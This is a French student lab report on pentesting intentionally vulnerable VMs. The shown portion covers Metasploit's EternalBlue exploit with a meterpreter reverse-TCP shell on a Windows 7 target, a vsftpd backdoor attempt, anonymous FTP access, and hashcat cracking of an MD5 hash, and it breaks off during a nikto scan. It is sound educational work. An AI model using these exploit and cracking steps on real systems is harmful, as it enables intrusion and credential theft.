

# La Rochelle Université

# SAE 3.03 - CYBER

## Découvrir le Pentesting

## Matthias DUMAS et Pierre FROSTIN BUT Réseaux et Télécommunications



## Introduction

Durant cette SAE, nous avons pu mettre en application ce que nous avons appris durant la ressource « Méthodologie de Pentesting ». Nous avons pu mettre en place les 4 premières phases du pentesting qui sont la reconnaissance, le scanning, l'évaluation des vulnérabilités et l'exploitation, les phases « maintenir l'accès » et « effacer nos traces » étant hors de notre portée. Nous avons travaillé sur 5 machines vulnérables (mises à disposition par TCM Security) dont la difficulté est croissante :

- Blue (Windows)
- Academy (Linux)
- Dev (Linux)
- Butler (Windows)
- Black Pearl (Linux)

De plus, avant de commencer nos différentes manipulations sur les machines, nous avons rejoint différents forums et réseaux sociaux qui pourraient nous aider si nous sommes beaucoup trop en difficulté et que nous perdons trop de temps, par exemple : le serveur discord de TCM, les reddits « r/Pentesting » et « r/pentest » et leurs Discords, différentes chaines YouTube « Pentest-Tools », « Pentester Academy TV », « hack5 » ou encore « LiveOverflow », etc...

Nous savions que ces différentes sources d'informations pourraient nous être utile durant les phases de pentest.

Pour les 5 machines, nous avons utilisés les 2 commandes suivantes :

- netdiscover -r <@ du réseau>
  - Outil utilisé pour détecter des périphériques connectés à un réseau local
  - o -r permet de spécifier une plage d'adresses IP
- nmap-T4 -p-A <adresse IP>
  - T pour la vitesse : de 0 à 5, 4 est une valeur qui permet d'avoir un résultat rapide
  - -p- pour scanner tous les ports (si on ne précise rien nmap va scanner les ports normalisés)
  - -A détecte plus d'informations

Enfin, pour chaque machine virtuelle à Pentest, nous l'avons placée en dans le même réseau NAT que notre Kali avec le DHCP activé.

## Table des matières

Introd	uction	2
Machi	ne vulnérable 1 : Blue	5
1.	Découverte de l'adresse IP et des services de la machine	5
2.	Recherche et lancement de l'attaque avec Metasploit	6
Machi	ne vulnérable 2 : Academy 1	0
1.	Découverte de l'adresse IP et des services de la machine1	0
2.	Tentative d'attaque sur le serveur FTP1	2
3.	Connexion au serveur FTP1	3
4.	Identification et Brute force du Hash1	5
5.	Exploitation du service HTTP1	8
6.	Reverse shell2	5
7.	Escalade de privilèges2	7
Machi	ne vulnérable 3 : DEV4	2
1.	Découverte de l'adresse IP et des services de la machine4	2
2.	Exploit du protocole NFS 4	3
3.	Visite des pages web4	7
4.	Exploit de BoltWire5	2
5.	SSH et escalade de privilèges5	3
Machi	ne vulnérable 4 : Butler5	7
1.	Découverte de l'adresse IP et des services de la machine5	7
2.	Brute force avec BurpSuite5	9
3.	Escalade des privilèges6	6
Machi	ne vulnérable 5 : Blackpearl7	3
1.	Découverte de l'adresse IP et des services de la machine7	3
2.	Visite de la page web7	4
3.	Exploit de Navigate7	9
4.	Escalade de privilèges8	0
Gestic	on de projet8	4
Concl	usion8	5
Table	des illustrations8	6

Pierre FROSTIN et Matthias DUMAS – BUT2 R&T La Rochelle – 2024-2025 Page **3** sur **91** 

Machi	ine vulnérable 1 : Blue	86
Machi	ine vulnérable 2 : Academy	86
Machi	ine vulnérable 3 : DEV	87
Machi	ine vulnérable 4 : Butler	
Machi	ine vulnérable 5 : Blackpearl	
Sources		
Machi	ine 1	
Machi	ine 2	90
Machi	ine 3	90
Machi	ine 4	90
Machi	ine 5	91

## Machine vulnérable 1 : Blue

#### 1. Découverte de l'adresse IP et des services de la machine

Dans un premier temps, nous recherchons l'adresse IP de la machine cible avec la commande suivante **que nous utiliserons durant l'entièreté de la SAE** :

#### netdiscover -r 10.0.2.0/24

10.0.2.1	32.34.00.12.33.00	1	00	UIKIIUWII VEILUUT
10.0.2.2	52:54:00:12:35:00	1	60	Unknown vendor
10.0.2.3	08:00:27:f6:76:02	2	120	PCS Systemtechnik GmbH
10.0.2.15	08:00:27:2a:95:91	1	60	PCS Systemtechnik GmbH

Figure 1 : Adresse IP

Nous utilisons ensuite NMAP pour découvrir les différents ports ouverts sur la machine, et donc les services correspondants, la commande suivante sera utilisée durant l'entièreté de la SAE, seule l'adresse IP de la cible va changer (nos deux machines de travail ne sont pas configurées avec le même réseau NAT) :

```
nmap -T4 -p- -A 10.0.2.15
```

Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-12-10 10:00 CET
Nmap scan report for 10.0.2.15
Host is up (0.015s latency).
Not shown: 65526 closed tcp ports (conn-refused)
PORT STATE SERVICE VERSION
135/tcp open msrpc Microsoft Windows RPC
139/tcp open netbios-ssn Microsoft Windows netbios-ssn
445/tcp open microsoft-ds Windows 7 Ultimate 7601 Service Pack 1 microsoft-ds (workgroup: WORKGROUP)
49152/tcp open msrpc Microsoft Windows RPC
49153/tcp open msprc Microsoft Windows RPC
49154/tcp open msprc Microsoft Windows RPC
Autos ten onen marre Microsoft Windows RPC
49155/tcp open mspc Microsoft Windows RPC
49150/tcp open mstpc Microsoft Windows PDC
Service Table North WTN 84500000000 DC Windows (CDF: cps:/crmicrosoft.windows
Service Into. Host. WIN-645039004PP, 03. WINDOWS, CPE. Cpe./0.microsoft.windows
Hest schint workles
Tost script results.
Simp2-Security-mode:
IMessage signing enabled but not required
smo2-time:
date: 2024-12-10109:02:20
1_ start_date: 2024-12-10T13:28:35
smb-security-mode:
account_used: guest
authentication_level: user
challenge_response: supported
_ message_signing: disabled (dangerous, but default)
_nbstat: NetBIOS name: WIN-845Q99004PP, NetBIOS user: <unknown>, NetBIOS MAC: 08:00:27:2a:95:91 (Oracle VirtualBox</unknown>
virtual NIC)
smb-os-discovery:
OS: Windows 7 Ultimate 7601 Service Pack 1 (Windows 7 Ultimate 6.1)
OS CPE: cpe:/o:microsoft:windows_7::sp1
Computer name: WIN-845Q99004PP
NetBIOS computer name: WIN-845Q99004PP\x00
Workgroup: WORKGROUP\x00
System time: 2024-12-10T04:02:20-05:00
clock-skew: mean: 1h40m00s. deviation: 2h53m12s. median: 0s
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nman done: 1 TP address (1 host un) scanned in 85.94 seconds

Figure 2 : Découverte des services

Nous pouvons observer qu'il s'agit d'une machine Windows 7 Ultimate. Trois ports intéressants sont ouverts sur cette machine :

- TCP 135 : Protocole RPC (*Remote Procedure Call*). Ce service permet aux autres machines d'obtenir les différents services actifs sur la machine. Concrètement, une machine distante va demander sur le port 135 le numéro du port pour tel service. Cette dernière pourra ensuite se connecter sur le port correspondant.
- TCP 139 : Protocole NetBIOS (NETwork Basic Input Output System). Ce service permet aux machines Windows de créer des partages de fichiers et d'imprimantes. Il s'agit d'un service vieillissant (utilisé sur Windows XP et antérieur).
- **TCP 445**: Protocole SMB *(Server Message Block)*. Ce service remplace NetBIOS pour proposer des partages de fichiers et d'imprimantes sur les réseaux de machines Windows.

### 2. Recherche et lancement de l'attaque avec Metasploit

Le protocole Samba (SMB) est connu pour sa faille de sécurité **EternalBlue** utilisée dans le *ransomware* WannaCry, à savoir la vulnérabilité **MS17\_010\_eternalblue** (voir <u>sources</u>). Cette faille qui touche le service SMBv1 permet l'exécution de code à distance. Nous allons donc tenter de trouver un exploit avec Metasploit :



Figure 3 : Recherche d'exploits sur SMB

Metasploit répertorie l'exploit **EternalBlue** mentionné précédemment. Voici les paramètres de cet exploit :

<u>msf6</u> exploit(wind	dows/smb/ms17_	010_eternalb	<b>lue) &gt; show options</b> n-wifi legion metasploit seclists v
Module options (	exploit/window	/s/smb/ms17_0	10_eternalblue):
Name	Current Sett	ing Require	d Description
RHOSTS	10.0.2.15 <sub>e b</sub>	yes	The target host(s), see https://docs.metasploit.com/docs/using-me tasploit/basics/using-metasploit.html The target nort (TCP)
SMBDomain	445	no	(Optional) The Windows domain to use for authentication. Only af ects Windows Server 2008 R2, Windows 7, Windows Embedded Standard 7 target machines.
SMBPassoads SMBUser		no no	(Optional) The password for the specified username (Optional) The username to authenticate as
De VERIFY_ARCH	true	yes	Check if remote architecture matches exploit Target. Only affect Windows Server 2008 R2, Windows 7, Windows Embedded Standard 7 arget machines.
VERIFY_TARGET	true	yes	Check if remote OS matches exploit Target. Only affects Windows S erver 2008 R2, Windows 7, Windows Embedded Standard 7 target mac
			ines.
Payload options	(windows/x64/m	eterpreter/r	everse_tcp):
Name Cur:	rent Setting	Required De	scription
EXITFUNC thru LHOST 172 LPORT 444	ead .16.0.4 4	yes Ex yes Th yes Th	it technique (Accepted: '', seh, thread, process, none) e listen address (an interface may be specified) e listen port
Exploit target:			
Id Name			
0 Automatic	Target		
View the full mo	dule info with	the info, o	r info -d command.

Figure 4 : Paramètres de l'exploit

Nous lançons donc l'attaque avec la commande  ${f run}$  :

<u>msf6</u> exploit( <u>windows/smb/ms17_010_eternalblu</u> e) > run
[*] Started reverse TCP handler on 10.0.2.5:4444
[*] 10.0.2.15:445 - Using auxiliary/scanner/smb/smb_ms17_010 as check
[+] 10.0.2.15:445 - Host is likely VULNERABLE to MS17-010! - Windows 7 Ultimate 7601 Service Pack 1 x64 (64-bit)
[*] 10.0.2.15:445 - Scanned 1 of 1 hosts (100% complete)
[+] 10.0.2.15:445 - The target is vulnerable.
[*] 10.0.2.15:445 - Connecting to target for exploitation.
[+] 10.0.2.15:445 - Connection established for exploitation.
[+] 10.0.2.15:445 - Target OS selected valid for OS indicated by SMB reply
[*] 10.0.2.15:445 - CORE raw buffer dump (38 bytes)
[*] 10.0.2.15:445 - 0×00000000 57 69 6e 64 6f 77 73 20 37 20 55 6c 74 69 6d 61 Windows 7 Ultima
[*] 10.0.2.15:445 - 0×00000010 74 65 20 37 36 30 31 20 53 65 72 76 69 63 65 20 te 7601 Service
[*] 10.0.2.15:445 - 0×00000020 50 61 63 6b 20 31 Pack 1
[+] 10.0.2.15:445 - Target arch selected valid for arch indicated by DCE/RPC reply
[*] 10.0.2.15:445 - Trying exploit with 12 Groom Allocations.
[*] 10.0.2.15:445 - Sending all but last fragment of exploit packet
[*] 10.0.2.15:445 - Starting non-paged pool grooming
[+] 10.0.2.15:445 - Sending SMBv2 buffers
[+] 10.0.2.15:445 - Closing SMBv1 connection creating free hole adjacent to SMBv2 buffer.
[*] 10.0.2.15:445 - Sending final SMBv2 buffers.
[*] 10.0.2.15:445 - Sending last fragment of exploit packet!
[*] 10.0.2.15:445 - Receiving response from exploit packet
[+] 10.0.2.15:445 - ETERNALBLUE overwrite completed successfully (0×C000000D)!
[*] 10.0.2.15:445 - Sending egg to corrupted connection.
[*] 10.0.2.15:445 - Triggering free of corrupted buffer.
[*] Sending stage (201798 bytes) to 10.0.2.15
[*] Meterpreter session 2 opened (10.0.2.5:4444 → 10.0.2.15:49160) at 2024-12-10 11:31:08 +0100
[+] 10.0.2.15:445
[+] 10.0.2.15:445WINWIN
[+] 10.0.2.15:445
meterpreter >

Figure 5 : Reverse Shell

Le texte **WIN** s'affiche, qui laisse penser que l'attaque a fonctionné. Afin de s'en assurer, nous tapons la commande **pwd** qui permet d'afficher le chemin du répertoire courant :

<u>meterpreter</u> > pwd
C:\Windows\system32
<pre>meterpreter &gt;</pre>

Figure 6 : Chemin local

Nous sommes donc bien dans le shell de Windows. La commande de Metasploit **getsystem** permet de passer en utilisateur privilégié :

<u>meterpreter</u>	> getsystem
[-] Already	running as SYSTEM
meterpreter	>

Figure 7 : Elévation de privilèges

Le shell indique que nous sommes déjà utilisateur système, nous contrôlons donc la machine avec les privilèges les plus élevés. Pour confirmer cela, nous tentons de créer un

répertoire dans **System32**, normalement éditable uniquement par un administrateur du système :

<u>meterpreter</u> > mkdir zzz Creating directory: zzz <u>meterpreter</u> >

Figure 8 : Création d'un répertoire dans System32

229888	fil	2009-07-14	03:41:59	+0200	wwansvc.dll
36352	fil	2009-07-14	03:41:59	+0200	wwapi.dll
103936	fil	2009-07-14	03:41:59	+0200	wzcdlg.dll
43008	fil	2009-07-14	03:39:58	+0200	xcopy.exe
67072	fil	2009-07-14	03:41:59	+0200	xmlfilter.dll
199680	fil	2009-07-14	03:41:59	+0200	xmllite.dll
22016	fil	2009-07-14	03:41:59	+0200	xmlprovi.dll
59392	fil	2009-07-14	03:41:59	+0200	xolehlp.dll
4835840	fil	2009-07-14	03:39:59	+0200	xpsrchvw.exe
76060	fil	2009-06-10	22:31:09	+0200	xpsrchvw.xml
3008000	fil	2010-11-21	04:24:32	+0100	xpsservices.dll
1576448	fil	2009-07-14	03:41:59	+0200	xpssvcs.dll
4041	fil	2009-06-10	23:03:31	+0200	xwizard.dtd
42496	fil	2009-07-14	03:39:59	+0200	xwizard.exe
432640	fil	2009-07-14	03:41:59	+0200	xwizards.dll
101888	fil	2009-07-14	03:41:59	+0200	xwreg.dll
201216	fil	2009-07-14	03:41:59	+0200	xwtpdui.dll
129536	fil	2009-07-14	03:41:59	+0200	xwtpw32.dll
303616	fil	2009-07-14	03:41:59	+0200	zgmprxy.dll
0	dir	2009-07-14	05:20:16	+0200	zh-CN
0	dir	2009-07-14	05:20:16	+0200	zh-HK
0	dir	2009-07-14	05:20:16	+0200	zh-TW
366080	fil	2010-11-21	04:24:01	+0100	zipfldr.dll
0	dir	2024-12-10	17:32:49	+0100	ZZZ
	229888 36352 103936 43008 67072 199680 22016 59392 4835840 76060 3008000 1576448 4041 42496 432640 101888 201216 129536 303616 0 0 0 366080 0	229888 fil 36352 fil 103936 fil 43008 fil 67072 fil 199680 fil 22016 fil 59392 fil 4835840 fil 76060 fil 3008000 fil 1576448 fil 4041 fil 42496 fil 101888 fil 201216 fil 129536 fil 303616 fil 0 dir 0 dir 366080 fil 0 dir	229888 fil 2009-07-14 36352 fil 2009-07-14 103936 fil 2009-07-14 43008 fil 2009-07-14 67072 fil 2009-07-14 199680 fil 2009-07-14 22016 fil 2009-07-14 59392 fil 2009-07-14 4835840 fil 2009-07-14 76060 fil 2009-07-14 76060 fil 2009-07-14 1576448 fil 2009-07-14 4041 fil 2009-07-14 402496 fil 2009-07-14 101888 fil 2009-07-14 101888 fil 2009-07-14 101888 fil 2009-07-14 100 dir 2009-07-14 0 dir 2009-07-14 366080 fil 2010-11-21 0 dir 2024-12-10	229888 fil 2009-07-14 03:41:59 36352 fil 2009-07-14 03:41:59 103936 fil 2009-07-14 03:41:59 43008 fil 2009-07-14 03:39:58 67072 fil 2009-07-14 03:41:59 199680 fil 2009-07-14 03:41:59 22016 fil 2009-07-14 03:41:59 59392 fil 2009-07-14 03:41:59 4835840 fil 2009-07-14 03:39:59 76060 fil 2009-07-14 03:39:59 76060 fil 2009-07-14 03:41:59 3008000 fil 2010-11-21 04:24:32 1576448 fil 2009-07-14 03:41:59 4041 fil 2009-07-14 03:41:59 432640 fil 2009-07-14 03:41:59 101888 fil 2009-07-14 03:41:59 101888 fil 2009-07-14 03:41:59 102056 fil 2009-07-14 03:41:59 1016 fil 2009-07-14 03:41:59 0 dir 2009-07-14 05:20:16 0 dir 2009-07-14 05:20:16 0 dir 2009-07-14 05:20:16 366080 fil 2010-11-21 04:24:01 0 dir 2024-12-10 17:32:49	229888fil2009-07-1403:41:59+020036352fil2009-07-1403:41:59+0200103936fil2009-07-1403:41:59+020043008fil2009-07-1403:39:58+020067072fil2009-07-1403:41:59+0200199680fil2009-07-1403:41:59+020022016fil2009-07-1403:41:59+020059392fil2009-07-1403:41:59+02004835840fil2009-07-1403:39:59+020076060fil2009-07-1403:39:59+02003008000fil2010-11-2104:24:32+01001576448fil2009-07-1403:31+020042496fil2009-07-1403:41:59+0200101888fil2009-07-1403:41:59+020020216fil2009-07-1403:41:59+0200101888fil2009-07-1403:41:59+0200203616fil2009-07-1403:41:59+02000dir2009-07-1403:41:59+02000dir2009-07-1403:41:59+02000dir2009-07-1403:41:59+020030616fil2009-07-1405:20:16+02000dir2009-07-1405:20:16+02000dir2009-07-1405:20:16+02000dir2009-07-1405:20:16+02000

Figure 9 : Contrôle de la création du répertoire

Le répertoire s'affiche bien avec la commande **dir**, il est bien créé. Nous sommes donc administrateur de la machine, l'attaque a fonctionné.

## Machine vulnérable 2 : Academy

### 1. Découverte de l'adresse IP et des services de la machine

3 Captured AR	RP Req/Rep packets, fr	om 2 hos	ts. T	otal	size: 180
IP	At MAC Address	Count	Len	MAC	Vendor / Hostname
10.0.2.15	08:00:27:2a:95:91 08:00:27:8d:a8:c3	2 1	120 60	PCS PCS	Systemtechnik GmbH Systemtechnik GmbH
File System					-,

Découverte de l'adresse IP :

Figure 10 : Adresse IP

Identification des ports ouverts sur la machine cible :



Figure 11 : Découverte des services

Nous pouvons voir qu'il s'agit d'une Debian 10+deb10u2. Nous observons 3 ports intéressants d'ouverts :

- TCP 21 : Protocole FTP sert à établir la connexion initiale entre le client FTP et le serveur FTP. Nous observons que la connexion anonyme est autorisée. Nous avons une version vsftpd 3.0.3. Après des recherches sur internet nous avons trouvé 2 failles de sécurité :
  - **Remote Denial of Service** (Remote DoS) est une attaque visant à rendre un service ou un système inaccessible à distance pour ses utilisateurs légitimes
  - Une backdoor est un moyen secret d'accéder à un système informatique, à un logiciel ou à un réseau en contournant les mécanismes de sécurité habituels

Pour le Remote DoS nous avons décidé de ne pas l'utiliser car l'objectif de cette SAE est de prendre le contrôle de la machine en mode root. Vous trouverez tout de même le lien de cette l'attaque ainsi que sa CVE dans les <u>sources</u>.

En revanche, nous avons utilisé la backdoor (voir <u>sources</u>) pour essayer de gagner l'accès.

- **TCP 22** : Protocole **SSH** que l'on pourra potentiellement utiliser pour se connecter à distance, nous observons les différentes clés qui permettent d'authentifier le serveur auprès du client qui se connecte et qui utilise différents types d'algorithme :
  - RSA (2048 bits)
    - **Utilité** : RSA est un algorithme historique très utilisé pour le chiffrement et la signature
    - **Sécurité** : Une clé RSA de 2048 bits est encore considérée comme sûre aujourd'hui
  - ECDSA (256 bits)
    - **Utilité** : ECDSA (Elliptic Curve Digital Signature Algorithm) est plus moderne que RSA et utilise la cryptographie à courbes elliptiques
    - **Avantage** : ECDSA offre un niveau de sécurité équivalent à RSA mais avec des clés beaucoup plus petites. Cela le rend plus rapide
  - ED25519 (256 bits)
    - **Utilité** : ED25519 est un algorithme récent basé sur des courbes elliptiques. Il est optimisé pour la performance et la sécurité

- Avantage : Plus rapide et plus sécurisé que RSA et ECDSA. Il est recommandé pour les nouvelles installations
- **TCP 80** : Service **Web HTTP** donc trafic non sécurisé et non chiffré, une version d'Apache 2.4.38 est utilisée

## 2. Tentative d'attaque sur le serveur FTP

Nous passons maintenant à l'attaque en utilisant le code avec la backdoor que nous téléchargeons depuis le GitHub que vous pouvez trouver dans les <u>sources</u>. Nous déplaçons le fichier **amdorj\_vsftpd\_backdoor.rb** dans le dossier avec les différents exploits de ftp :



Figure 12 : Déplacement du code d'attaque

<u>msf6</u>	> search vsftpd	유명하기 입법	t felo i se (	
Matc	hing Modules			
	New		De els	<u>a</u> l
# eck	Name Description	Disclosure Date	капк	Cn
			——Kali Lin	UTT 🔐
ِ 0	auxiliary/dos/ftp/vsftpd_232	2011-02-03	normal	Ye
1	exploit/unix/ftp/vsftpd_234_backdoor	2011-07-03	excellent	No
2	exploit/unix/ftp/amdorj_vsftpd_backdoor		excellent	No <sup>Bla</sup>
	VSFTPD v3.0.3 amdorj Backdoor Command Exe	cution		
Inte	ract with a module by name or index. For e	xample info 2. us	e 2 or 1150	exn
loit,	/unix/ftp/amdorj_vsftpd_backdoor	Admpte into 2, us	63	слр

Nous lançons ensuite Metasploit et commençons l'attaque :

Figure 13 : Choix de l'attaque précédemment importée

```
msf6 exploit(unix/ftp/amdorj_vsftpd_backdoor) > set RHOST 10.0.2.8
RHOST ⇒ 10.0.2.8
msf6 exploit(unix/ftp/amdorj_vsftpd_backdoor) > exploit
[-] 10.0.2.8:21 - Banner: 220 (vsFTPd 3.0.3)
[*] 10.0.2.8:21 - USER: 331 Please specify the password.
[*] Exploit completed, but no session was created.
```

Figure 14 : Echec de l'attaque

L'attaque n'est donc pas concluante.

#### 3. Connexion au serveur FTP

Nous essayons maintenant de nous connecter à la connexion Anonymous de FTP observé précédemment.



Figure 15 : Tentative de connexion à FTP en Anonymous

Nous remarquons que nous n'avons pas besoin d'entrer un mot de passe car la **connexion anonyme** sur un serveur FTP permet à un utilisateur de se connecter sans avoir besoin de fournir un nom d'utilisateur ou un mot de passe spécifiques. Nous décidons de télécharger le seul fichier disponible avec **get** :

-(kali®kalikali)-[~] \_\$ ftp:10.0.2.7 Connected to 10.0.2.7. 220 (vsFTPd 3.0.3) Name (10.0.2.7:kali): Anonymous 331 Please specify the password. Password: 230 Login successful. Remote system type is UNIX. Using binary mode to transfer files. ftp>Dls 229 Entering Extended Passive Mode (|||51704|) 150 Here comes the directory listing. -rw-r--r-- 1 1000 776 May 30 2021 note.txt 1000 226 Directory send OK. ftp>DgetCnote.txt local: note.txt remote: note.txt 229 Entering Extended Passive Mode (|||32048|) 150 Opening BINARY mode data connection for note.txt (776 bytes). 100% |\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\* 776 23.73 KiB/s 00:00 ETA 226-Transfergcomplete. 776 bytes received in 00:00 (4.58 KiB/s) ftp>

Figure 16 : Téléchargement du fichier disponible sur le serveur FTP

Nous le trouvons donc dans notre *home* personnel. Voici ce que nous obtenons en ouvrant le fichier note.txt :



Figure 17 : Lectrure du fichier note.txt

Nous apprenons que l'utilisateur « Grimmie » utilise le même mot de passe partout et qu'il existe un serveur SQL avec une table « student » où nous découvrons diverses informations intéressantes comme le nom d'un étudiant « Rum Ham », le Hash de son mot de passe et le login pour la connexion qui est le « StudentRegno ».

Nous décidons de nous concentrer sur le hash.

#### 4. Identification et Brute force du Hash

Nous commençons par identifier le hash avec l'outil « **hash-identifier** » que nous utiliserons à chaque fois pour identifier un hash :

(kali@kalikali)-[~] 💁 Kali Docs 🚿 Kali Forums 🐟 Kali NetHunter 🦄 Exploit-DB 🐁 Google Hackir
hash-identifier
#
# www.Blackploit.com # # Root@Blackploit.com # 
HASH: cd73502828457d15655bbd7a63fb0bc8
Possible Hashs: [+] MD5
[+] Domain Cached Credentials - MD4(MD4((\$pass)).(strtolower(\$username)))
Least Possible Hashs: [+] RAdmin v2.x [+] NTLM
[+] MD4 Enter Password : [+] MD2 [+] MD5(HMAC)
[+] MD2(HMAC) [+] MD2(HMAC)
[+] MD5(HMAC(Wordpress)) [+] Haval-128 [+] Haval-128(HMAC)
[+] RipeMD-128 [+] RipeMD-128(HMAC) [-] SNEFUL-128
[+] SNEFRU-128(HMAC) [+] Tiger-128
<pre>[+] Tiger-128(HMAC) [+] md5(\$pass.\$salt) [+] md5(\$salt.\$pass)</pre>
<pre>[+] md5(\$salt.\$pass.\$salt) [+] md5(\$salt.\$pass.\$username)</pre>
[+] md5(\$salt.md5(\$pass)) [+] md5(\$salt.md5(\$pass)) [+] md5(\$salt.md5(\$pass.\$salt)) = constructed
<pre>[+] md5(\$salt.md5(\$pass.\$salt)) [+] md5(\$salt.md5(\$salt.\$pass)) [.] md5(\$salt.md5(\$salt.\$pass))</pre>
[+] md5(\$username.0.\$pass).\$salt)) [+] md5(\$username.0.\$pass) [+] md5(\$username.1F.\$pass)
[+] md5(\$username.md5(\$pass).\$salt)

Figure 18 : Test du hash de mot de passe

C'est donc un MD5. Nous passons au Brute force de ce hash avec la commande suivante :

#### hashcat -m 0 md5hash.txt /usr/share/wordlists/rockyou.txt

- hashcat : C'est l'outil utilisé pour effectuer le crackage de mots de passe (Nous l'utiliserons à chaque fois que nous voudrons cracker un hash.)
- -m 0 : Cette option spécifie le type de hachage à cracker. Le chiffre 0 indique que l'algorithme de hachage est MD5.
- md5hash.txt : C'est le fichier contenant le hachage MD5 que l'on veut cracker.
- /usr/share/wordlists/rockyou.txt : C'est le fichier de dictionnaire utilisé pour tenter de Brute force les mots de passe originaux, rockyou.txt est un fichier contenant des mots de passe courants.

Voici le résultat de notre commande :

<pre>(kali@kalikali)-[~]</pre>	ts/rockyou.txt	
OpenCL API (OpenCL 3.0 PoCL 6.0+debian Linux, rm #1 [The pocl project]	None+Asserts, RELOC, LLVM 17.0.6, SLEEF, DISTRO, POCL_DE	BUG) - Platfo
* Device #1: cpu-penryn-13th Gen Intel(R) Core(	TM) i9-13900H, 2917/5898 MB (1024 MB allocatable), 11MCU	
Minimum password length supported by kernel: 0 Maximum password length supported by kernel: 25	6	
Hashes: 1 digests; 1 unique digests, 1 unique s Bitmaps: 16 bits, 65536 entries, 0×0000ffff mas Rules: 1	alts k, 262144 bytes, 5/13 rotates	
Optimizers applied: * Zero-Byte * Early-Skip		
* Not-Salted * Not-Iterated		
* Single-Hash		
* Single-Salt * Raw-Hash		
ATTENTION! Pure (unoptimized) backend kernels s Pure kernels can crack longer passwords, but dr If you want to switch to optimized kernels, app See the above message to find out about the exa	elected. astically reduce performance. end -O to your commandline. ct limits.	
Watchdog: Temperature abort trigger set to 90c		
Host memory required for this attack: 3 MB		
Dictionary cache built: * Filename: /usr/share/wordlists/rockyou.txt * Passwords.: 14344392 * Bytes: 139921507 * Keyspace: 14344385 * Runtime: 1 sec		
cd73502828457d15655bbd7a63fb0bc8:student		
Session Status: Cracked Hash.Mode: 0 (MD5) Hash.Target: cd73502828457d15 <u>655bbd7a63fb</u>	Øbc8	

Figure 19 : Lancement du bruteforce

Watchdog: Temperature abort trigger set to 90c
Host memory required for this attack: 3 MB
Dictionary cache built: * Filename: /usr/share/wordlists/rockyou.txt * Passwords.: 14344392 * Bytes: 139921507
* Keyspace: 14344385 * Runtime: 1 sec
cd73502828457d15655bbd7a63fb0bc8:student
Session: hashcat
Status: Cracked
Hash.Mode: 0 (MDS) Hash.Target: cd73502828457d15655bbd7a63fb0bc8 Time.Started: Thu Dec 12 10:36:40 2024 (0 secs) Time.Estimated: Thu Dec 12 10:36:40 2024 (0 secs) Kernel Feature : Pure Kernel
Guess.Base: File (/usr/share/wordlists/rockyou.txt)
Guess.Queue: 1/1 (100.00%) Speed.#1: 240.9 kH/s (0.82ms) @ Accel:1016 Loops:1 Thr:1 Vec:4 Recovered: 1/1 (100.00%) Digests (total), 1/1 (100.00%) Digests (new) Progress: 11176/14344385 (0.08%) Rejected: 0/11176 (0.00%) Restore.Point: 0/14344385 (0.00%) Restore.Sub.#1: Salt:0 Amplifier:0-1 Iteration:0-1 Candidate.Engine.: Device Generator Candidates.#1: 123456 → paulfrank Hardware.Mon.#1: Util: 5%
Started: Thu Dec 12 10:36:28 2024

Figure 20 : Succès du bruteforce

Nous découvrons que le mot de passe est « student ».

Nous essayons ce mot de passe sur une connexion SSH avec l'utilisateur Rum Ham avec son numéro « StudentRegno ».



Figure 21 : Tentative de connexion SSH avec le numéro d'utilisateur

Cela ne fonctionne pas, nous décidons donc de le tenter avec le nom d'utilisateur.

<pre>(kali@ kalikali)-[~]     ssh RUm_Ham@10.0.2.8</pre>	
RUm_Ham@10.0.2.8's password:	
Permission denied, please try_again.	
RUm_Ham@10.0.2.8's password:	

Figure 22 : Tentative de connexion SSH avec le nom d'utilisateur

Cela ne fonctionne pas non plus. Nous décidons alors d'exploiter une possible faille du service HTTP.

#### 5. Exploitation du service HTTP

Premièrement nous décidons simplement de nous connecter à la page web du serveur :



Figure 23 : Page par défaut d'Apache

Pierre FROSTIN et Matthias DUMAS – BUT2 R&T La Rochelle – 2024-2025 Page **18** sur **91**  Nous inspectons la page mais ne trouvons rien d'intéressant, nous sommes juste en présence de la page par défaut d'Apache2 :

← → C @ O & 10.0.28		ជ	⊠ బໍ ≡
🚿 Kali Linux 🔅 Kali Tools 🧕 Kali Docs 🕱 Kali Forums  Kali NetHunter 🛸 Exploit-DB 🛸 Google Hacking DB 🌵 OffSec			
Apache2 Debian Default Page			
🕞 🖸 Inspector 🖸 Console D Debugger 📬 Network 🚯 Style Editor 🖓 Performance 🕕 Memory 🗄 Storage 뷲 Accessibility 👹 Application			₫ ••• ×
Q Search HTML 🕴 🕇 🖌	🗑 Filter Styles 🛛 shov .els 🕂 🌞 🗿 🖻	Layout Computed Cha	anges Compatibility
<udx.iye "-="" -="" ann.="" atol="" atop:="" er"="" farseledda="" i.b.="" in="" nul="" uw="" vuell="" ww.wg.org="" xegle="" xegle-etarseledda.ged=""> -#tol.wElse="<u>http://ww.wg.org/1999/wtmal</u>"&gt; <u>terell</u></udx.iye>	element EE { inlin		
▶ (cleab-bill) (head> • + chorles OverTable)	body, html 🗄 { <u>inline:</u>		
▼ <div class="main_pape"> (myerflag</div>	padding: ▶ 3px 3px 3px 3px;		
▶ ≪div class="page_header floating_element"> ■	<pre>font-family: Verdana, sans-serif;</pre>	CSS Grid is not in use on this pag	
<pre>viv class='table of contents floating element'&gt; div class='section header section header grey'&gt; TABLE OF CONTENTS  div class='table of contents item floating element'&gt; da href="#about"&gt;About div class='table of contents item floating element'&gt; da href=#about"&gt;About div class='table of contents item</pre>	<pre>font-size: llpt; text-align: center;</pre>		
flaating_element'> <a href="#scope">Scope</a> <div #files"="" class="table_of_contents_item floating_element'&gt; &lt;a href=">Config files </div> <td>} * TT { inline:</td> <td></td> <td></td>	} * TT { inline:		
<pre>*-div class-"cattert settion flatting element&gt;     -but/class-"cattert insettion header ref &gt;&gt;&gt; d'ubi/class-     -vep     Top     Top</pre>	արդըն:: ինթ։ նրո նրո նրո յունները է նրո նրո նրո նրո )	sergin of people of the second	42 3 6 8 static
Configuration Overview			none
★ sdiy class="content section text">			
k φp Ξ v/p k φp Ξ v/p k φp τo Ξ v/p k φp τo Ξ v/p v φl to Ξ v/p v φl to Ξ v v v v v v v v v v v v v v v v v v			

Figure 24 : Mode inspection sur la page par défaut

Nous utilisons maintenant l'outil de scan de vulnérabilités **nikto** qui scanne les serveurs web à la recherche de failles de sécurité, de configurations incorrectes, ou de logiciels obsolètes.

nikto -h 10.0.2.8

- D920, C90000 250 C6101091 DIOC622 61000 /10224+ 1090010011916 IUCLI OF 0663	- C 8
(kali@kalikali)-[~] this shell	
+oTargetdIP: 10.0.2.8	
